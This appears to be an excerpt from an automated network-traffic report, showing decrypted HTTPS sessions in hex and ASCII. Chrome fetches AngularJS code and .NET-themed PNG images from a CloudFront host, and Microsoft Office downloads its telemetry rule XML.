2024-11-23 20:11:54 UTC	16384	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 6d 29 3b 65 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 29 3b 72 65 74 75 72 6e 20 6d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6b 2c 68 2c 6c 2c 6d 2c 6e 2c 71 2c 46 2c 4d 2c 77 29 7b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 6e 61 26 26 6e 61 28 29 3b 73 26 26 73 2e 61 62 6f 72 74 28 29 7d 6b 3d 6b 7c 7c 61 2e 75 72 6c 28 29 3b 69 66 28 22 6a 73 6f 6e 70 22 3d 3d 3d 4e 28 65 29 29 76 61 72 20 41 3d 63 2e 63 72 65 61 74 65 43 61 6c 6c 62 61 63 6b 28 6b 29 2c 6e 61 3d 66 28 6b 2c 41 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 65 3d 32 30 30 3d 3d 3d 61 26 26 63 2e 67 65 74 52 65 73 70 6f 6e 73 65 28 41 29 3b 74 28 44 29 26 26 64 2e 63 61 6e 63 65 6c 28 44 Data Ascii: ventListener("error",m);e.body.appendChild(f);return m}return function(e,k,h,l,m,n,q,F,M,w){function u(){na&&na();s&&s.abort()}k=k\|\|a.url();if("jsonp"===N(e))var A=c.createCallback(k),na=f(k,A,function(a,b){var e=200===a&&c.getResponse(A);t(D)&&d.cancel(D
2024-11-23 20:11:54 UTC	16384	IN	Data Raw: 7d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6d 28 62 2c 61 29 7d 29 7d 29 3b 30 3d 3d 3d 63 26 26 68 28 62 2c 64 29 3b 72 65 74 75 72 6e 20 62 7d 3b 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 63 28 29 3b 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 77 28 61 29 2e 74 68 65 6e 28 62 2e 72 65 73 6f 6c 76 65 2c 62 2e 72 65 6a 65 63 74 29 7d 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 6f 6d 69 73 65 7d 3b 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 24 66 28 29 7b 74 68 69 73 2e 24 67 65 74 3d 5b 22 24 77 69 6e 64 6f 77 22 2c 22 24 74 69 6d 65 6f 75 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 64 3d 61 2e 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 7c 7c 61 2e 77 65 62 6b 69 74 52 65 71 Data Ascii: },function(a){m(b,a)})});0===c&&h(b,d);return b};u.race=function(a){var b=c();p(a,function(a){w(a).then(b.resolve,b.reject)});return b.promise};return u}function $f(){this.$get=["$window","$timeout",function(a,b){var d=a.requestAnimationFrame\|\|a.webkitReq
2024-11-23 20:11:54 UTC	1024	IN	Data Raw: 65 6e 67 74 68 26 26 6b 2e 75 6e 73 68 69 66 74 28 68 2e 6a 6f 69 6e 28 22 22 29 29 3b 68 3d 6b 2e 6a 6f 69 6e 28 64 29 3b 66 2e 6c 65 6e 67 74 68 26 26 28 68 2b 3d 63 2b 66 2e 6a 6f 69 6e 28 22 22 29 29 3b 65 26 26 28 68 2b 3d 22 65 2b 22 2b 65 29 7d 72 65 74 75 72 6e 20 30 3e 61 26 26 21 67 3f 62 2e 6e 65 67 50 72 65 2b 68 2b 62 2e 6e 65 67 53 75 66 3a 62 2e 70 6f 73 50 72 65 2b 68 2b 62 2e 70 6f 73 53 75 66 7d 66 75 6e 63 74 69 6f 6e 20 4c 62 28 61 2c 62 2c 64 2c 63 29 7b 76 61 72 20 65 3d 22 22 3b 69 66 28 30 3e 61 7c 7c 63 26 26 30 3e 3d 61 29 63 3f 61 3d 2d 61 2b 31 3a 28 61 3d 2d 61 2c 65 3d 22 2d 22 29 3b 66 6f 72 28 61 3d 22 22 2b 61 3b 61 2e 6c 65 6e 67 74 68 3c 0a 62 3b 29 61 3d 43 63 2b 61 3b 64 26 26 28 61 3d 61 2e 73 75 62 73 74 72 28 61 2e Data Ascii: ength&&k.unshift(h.join(""));h=k.join(d);f.length&&(h+=c+f.join(""));e&&(h+="e+"+e)}return 0>a&&!g?b.negPre+h+b.negSuf:b.posPre+h+b.posSuf}function Lb(a,b,d,c){var e="";if(0>a\|\|c&&0>=a)c?a=-a+1:(a=-a,e="-");for(a=""+a;a.length<b;)a=Cc+a;d&&(a=a.substr(a.
2024-11-23 20:11:54 UTC	1024	IN	Data Raw: 29 29 3b 6b 2e 63 61 6c 6c 28 61 2c 51 28 62 5b 31 5d 29 2c 51 28 62 5b 32 5d 29 2d 31 2c 51 28 62 5b 33 5d 29 29 3b 66 3d 51 28 62 5b 34 5d 7c 7c 30 29 2d 66 3b 67 3d 51 28 62 5b 35 5d 7c 7c 30 29 2d 67 3b 6b 3d 51 28 62 5b 36 5d 7c 7c 30 29 3b 62 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 31 45 33 2a 70 61 72 73 65 46 6c 6f 61 74 28 22 30 2e 22 2b 28 62 5b 37 5d 7c 7c 30 29 29 29 3b 68 2e 63 61 6c 6c 28 61 2c 66 2c 67 2c 6b 2c 62 29 7d 72 65 74 75 72 6e 20 61 7d 76 61 72 20 64 3d 2f 5e 28 5c 64 7b 34 7d 29 2d 3f 28 5c 64 5c 64 29 2d 3f 28 5c 64 5c 64 29 28 3f 3a 54 28 5c 64 5c 64 29 28 3f 3a 3a 3f 28 5c 64 5c 64 29 28 3f 3a 3a 3f 28 5c 64 5c 64 29 28 3f 3a 5c 2e 28 5c 64 2b 29 29 3f 29 3f 29 3f 28 5a 7c 28 5b 2b 2d 5d 29 28 5c 64 5c 64 29 3a 3f 28 5c 64 5c 64 Data Ascii: ));k.call(a,Q(b[1]),Q(b[2])-1,Q(b[3]));f=Q(b[4]\|\|0)-f;g=Q(b[5]\|\|0)-g;k=Q(b[6]\|\|0);b=Math.round(1E3*parseFloat("0."+(b[7]\|\|0)));h.call(a,f,g,k,b)}return a}var d=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z\|([+-])(\d\d):?(\d\d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49812	108.158.71.166	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:53 UTC	782	OUT	GET /themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:54 UTC	592	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 652 Connection: close Date: Sat, 23 Nov 2024 20:11:55 GMT Last-Modified: Tue, 23 May 2023 12:42:21 GMT ETag: "7035f9bbfae08939ebda03d9c2cdd905" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: t4T_UvG9OYNh7ANp62YSq58oBopW7Mq. Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 6481f3b72e695f5d2b0b995611da44a2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: -ydqtmK3yirwZbO_uttXciTJtsJxXiAtDBak1G_txeeE8m4YM98Xqw==
2024-11-23 20:11:54 UTC	652	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5a 00 00 00 32 08 06 00 00 00 dc 0f cc 35 00 00 02 53 49 44 41 54 78 da ed 99 3f 4b c3 40 18 87 fb 05 ba 3a 39 39 74 70 70 16 fa 09 c4 bd 38 28 b8 56 dc 04 07 11 dd 9c 5c c4 4e 2e 0e 76 72 11 5d 04 07 11 41 44 c1 41 41 d1 56 ac a8 08 1d 2c 15 b4 05 5b 13 df 93 57 29 d7 4b d3 24 97 3f 4d 7f 0f bc b4 4d ef 2e c9 c3 25 f7 de 5d 22 01 00 00 00 00 00 00 00 00 80 5e c0 34 cd 53 8a 47 c3 30 4a 22 e8 fb 2d 45 ca 41 fd 51 aa 77 cf f5 9f 29 f6 14 65 66 e8 f8 d3 df 39 3c c4 7f fb d4 e6 12 ff 2e e9 08 6a ef c5 4f c9 49 8a aa d9 ce 91 83 36 32 14 cd 96 ba 45 b9 0c dd c8 86 a9 8f 07 1f da fc c5 6f d1 6f 8a 73 1a 14 d9 2e db 18 97 44 17 14 65 72 1a 7d 14 7c 68 33 34 d1 26 f5 98 57 9f 45 37 5d fa b8 e4 36 57 29 be Data Ascii: PNGIHDRZ25SIDATx?K@:99tpp8(V\N.vr]ADAAV,[W)K$?MM.%]"^4SG0J"-EAQw)ef9<.jOI62Eoos.Der}\|h34&WE7]6W)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49813	108.158.71.166	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:53 UTC	773	OUT	GET /themes/production/microsoft-net-net-theme-sprite-dc099a08698b27538c2aab9d1a1d3ae3.png HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:54 UTC	593	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 8309 Connection: close Date: Sat, 23 Nov 2024 20:11:55 GMT Last-Modified: Tue, 23 May 2023 12:42:22 GMT ETag: "dc099a08698b27538c2aab9d1a1d3ae3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: JvVam3J7bdtf5XLkSP1P4B43jmbTYS7U Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 9b9986289f1229fc196f4d0f4702ece8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: JGDgzbpp1mknuin0Ek057_JxgMl6yi2ZK8F3CTx-06pl7ySFgszswQ==
2024-11-23 20:11:54 UTC	8309	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 3c 00 00 01 5e 08 03 00 00 00 9f 3e 20 e7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 03 00 50 4c 54 45 4c 69 71 ff c2 5f fc c7 64 fe c8 64 fd c8 64 ff c8 64 c2 ba f6 d5 d7 dd cb cd d5 ca ce d4 fd c8 63 fd c8 64 ff cb 63 ff cb 62 ff cc 64 fd c8 64 fc c9 64 fd c8 65 fc c8 64 fd c8 64 fd c8 64 fc c8 63 fd c8 64 fc c9 64 ff ff 3b d1 d1 e1 ff ca 63 fc c8 64 fd c9 64 e8 c4 97 fd c8 64 fc c9 63 fc c8 63 fd c8 63 cd d0 d8 fd c9 63 fd c9 64 f3 f3 f6 f2 f2 f5 f3 f3 f5 fb c8 62 fd c7 65 fd c8 64 fd c9 64 fd c7 64 f3 f3 f6 cd d1 d8 fc c7 65 ff c7 64 ff c8 65 ff c7 62 fd c8 64 cb ce d6 fd c8 64 cb ce d6 51 2b d5 ff c8 63 51 2b d4 50 2d d2 50 2b d4 fd c8 64 cc cf Data Ascii: PNGIHDR<^> gAMAasRGBPLTELiq_ddddcdcbdddedddcdd;cdddccccdbedddedebddQ+cQ+P-P+d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49815	108.158.71.51	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:56 UTC	446	OUT	GET /themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:57 UTC	592	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 652 Connection: close Date: Sat, 23 Nov 2024 20:11:58 GMT Last-Modified: Tue, 23 May 2023 12:42:21 GMT ETag: "7035f9bbfae08939ebda03d9c2cdd905" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: t4T_UvG9OYNh7ANp62YSq58oBopW7Mq. Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 7387d975114b91051a05d9944ff35ad8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: 60zvuNth7LqgEG8AxrtOhUTqgFFwYOiED3RO2DZrd-mx_Kv83frNaw==
2024-11-23 20:11:57 UTC	652	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5a 00 00 00 32 08 06 00 00 00 dc 0f cc 35 00 00 02 53 49 44 41 54 78 da ed 99 3f 4b c3 40 18 87 fb 05 ba 3a 39 39 74 70 70 16 fa 09 c4 bd 38 28 b8 56 dc 04 07 11 dd 9c 5c c4 4e 2e 0e 76 72 11 5d 04 07 11 41 44 c1 41 41 d1 56 ac a8 08 1d 2c 15 b4 05 5b 13 df 93 57 29 d7 4b d3 24 97 3f 4d 7f 0f bc b4 4d ef 2e c9 c3 25 f7 de 5d 22 01 00 00 00 00 00 00 00 00 80 5e c0 34 cd 53 8a 47 c3 30 4a 22 e8 fb 2d 45 ca 41 fd 51 aa 77 cf f5 9f 29 f6 14 65 66 e8 f8 d3 df 39 3c c4 7f fb d4 e6 12 ff 2e e9 08 6a ef c5 4f c9 49 8a aa d9 ce 91 83 36 32 14 cd 96 ba 45 b9 0c dd c8 86 a9 8f 07 1f da fc c5 6f d1 6f 8a 73 1a 14 d9 2e db 18 97 44 17 14 65 72 1a 7d 14 7c 68 33 34 d1 26 f5 98 57 9f 45 37 5d fa b8 e4 36 57 29 be Data Ascii: PNGIHDRZ25SIDATx?K@:99tpp8(V\N.vr]ADAAV,[W)K$?MM.%]"^4SG0J"-EAQw)ef9<.jOI62Eoos.Der}\|h34&WE7]6W)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49814	108.158.71.51	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:56 UTC	437	OUT	GET /themes/production/microsoft-net-net-theme-sprite-dc099a08698b27538c2aab9d1a1d3ae3.png HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:58 UTC	593	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 8309 Connection: close Date: Sat, 23 Nov 2024 20:11:58 GMT Last-Modified: Tue, 23 May 2023 12:42:22 GMT ETag: "dc099a08698b27538c2aab9d1a1d3ae3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: JvVam3J7bdtf5XLkSP1P4B43jmbTYS7U Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 e8dcb4c100f8f24530655f5e6f9a630a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: Cbjtvm7XnYQ_icQY2_vDpIRFdrTxYm_UlJrf28yMpX0BrhepzAvc5w==
2024-11-23 20:11:58 UTC	8192	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 3c 00 00 01 5e 08 03 00 00 00 9f 3e 20 e7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 03 00 50 4c 54 45 4c 69 71 ff c2 5f fc c7 64 fe c8 64 fd c8 64 ff c8 64 c2 ba f6 d5 d7 dd cb cd d5 ca ce d4 fd c8 63 fd c8 64 ff cb 63 ff cb 62 ff cc 64 fd c8 64 fc c9 64 fd c8 65 fc c8 64 fd c8 64 fd c8 64 fc c8 63 fd c8 64 fc c9 64 ff ff 3b d1 d1 e1 ff ca 63 fc c8 64 fd c9 64 e8 c4 97 fd c8 64 fc c9 63 fc c8 63 fd c8 63 cd d0 d8 fd c9 63 fd c9 64 f3 f3 f6 f2 f2 f5 f3 f3 f5 fb c8 62 fd c7 65 fd c8 64 fd c9 64 fd c7 64 f3 f3 f6 cd d1 d8 fc c7 65 ff c7 64 ff c8 65 ff c7 62 fd c8 64 cb ce d6 fd c8 64 cb ce d6 51 2b d5 ff c8 63 51 2b d4 50 2d d2 50 2b d4 fd c8 64 cc cf Data Ascii: PNGIHDR<^> gAMAasRGBPLTELiq_ddddcdcbdddedddcdd;cdddccccdbedddedebddQ+cQ+P-P+d
2024-11-23 20:11:58 UTC	117	IN	Data Raw: 8e 7b af 7c 72 19 d5 da 98 f4 9a 63 ff e1 e4 39 e3 ec 00 d0 e6 bd 7b 29 53 29 e4 f3 85 4a e6 8a 3b 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e be ff 01 33 03 f8 e5 17 ef c3 5f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: {\|rc9{)S)J;v3_IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:03 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:04 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:03 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: 91a9dc6d-001e-0028-4620-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201203Z-174c587ffdfmrvb9hC1TEBtn3800000003c000000000g2r3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:04 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
